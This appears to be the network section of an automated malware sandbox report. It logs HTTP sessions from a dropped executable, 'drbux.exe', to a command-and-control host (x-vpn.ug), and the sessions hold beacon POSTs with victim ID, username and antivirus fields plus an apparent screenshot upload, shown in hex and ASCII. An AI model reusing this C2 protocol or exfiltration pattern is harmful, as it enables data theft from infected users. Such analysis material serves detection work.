Jul 19, 2021 18:35:24.168855906 CEST	1707	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:24.169368982 CEST	1710	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:24.171612024 CEST	1712	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:24.172370911 CEST	1723	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:24.172424078 CEST	1732	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:24.251992941 CEST	1735	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:24.252041101 CEST	1738	OUT	Data Raw: 6d d4 e0 e6 b2 74 17 43 55 88 97 53 5f cb d3 65 eb 18 14 d3 a5 e9 d2 0f 95 b6 d6 7a b9 f4 a7 ab 9a 9e 49 2d 99 6a a4 1e f1 2c 9d 02 06 fb 92 d4 4f e1 d9 3f 82 40 68 59 58 1e 09 a9 56 ea 51 fc 66 8b d5 5d 43 92 83 de 25 37 d0 ee 97 a2 83 50 b6 9b Data Ascii: mtCUS_ezI-j,O?@hYXVQf]C%7Prbj[VQ~=T/~G>m^7#^z%4}GdAHsOpwZXQ2WReWx&oxVV)dCr@ofGVF*r5B2L
Jul 19, 2021 18:35:24.254142046 CEST	1741	OUT	Data Raw: 03 ea 2b a3 d3 75 cd 32 cb cc d3 20 d4 ac d2 38 34 67 b4 8a f6 f2 c9 a5 82 59 de e1 65 6f dd 98 dc 94 03 20 6e 4e d9 c0 cd 61 78 82 f2 d2 ff 00 5d 92 e2 cd fc d0 61 89 65 98 2b 2a 4b 2a a0 0c c8 ad ca a1 23 e5 5c 0c 0c 00 14 70 2e 15 66 e6 93 db Data Ascii: +u2 84gYeo nNax]ae+K#\p.f]A77Mmh3`Lgz<$kHn4"O4 0n;=IB7S:0jvAc-l$wLQKcO1hfJOKvv

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.6	49806	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:54.112133980 CEST	6727	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:54.196744919 CEST	6728	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:54.286875963 CEST	6728	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:54.286905050 CEST	6729	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:54.287183046 CEST	6739	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:54.287348032 CEST	6741	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:54.370076895 CEST	6744	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:54.370382071 CEST	6750	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:54.370507956 CEST	6752	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:54.370778084 CEST	6758	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:54.370858908 CEST	6760	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:54.373136044 CEST	6763	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:54.373176098 CEST	6768	OUT	Data Raw: 1a a2 47 8a 29 b9 a3 34 c4 3c 1a 5a 60 34 e0 69 a2 47 83 4e 07 34 c1 cd 38 55 22 58 fa 29 29 6a 89 1c 29 c0 d3 05 3a a9 12 d1 28 3c 53 f3 51 03 4e 06 ad 32 1a 24 06 9e 0d 44 0f 34 e5 ab 4c 86 89 81 a7 83 50 8a 7e 6a d3 33 68 93 34 03 4c cd 28 35 Data Ascii: G)4<Z`4iGN48U"X))j):(<SQN2$D4LP~j3h4L(5WS -"Gz(5D8"oZp&p=@QTA<.RHjpJ4cPt@}h.Qa=8OJ^foZU=G(Tdb+
Jul 19, 2021 18:35:54.642472029 CEST	6827	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.6	49807	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:54.410927057 CEST	6769	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:54.521279097 CEST	6822	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.6	49809	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:54.734044075 CEST	6834	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:54.827312946 CEST	6835	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.6	49810	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:55.065557957 CEST	6849	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:35:55.163697004 CEST	6973	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.6	49811	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:55.066833019 CEST	6850	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:55.066934109 CEST	6850	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:55.067091942 CEST	6860	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:55.067190886 CEST	6863	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:55.145663977 CEST	6946	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:55.146281004 CEST	6949	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:55.146363974 CEST	6952	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:55.146481991 CEST	6955	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:55.146888018 CEST	6960	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:55.147243023 CEST	6963	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:55.147521019 CEST	6965	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:55.148176908 CEST	6967	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
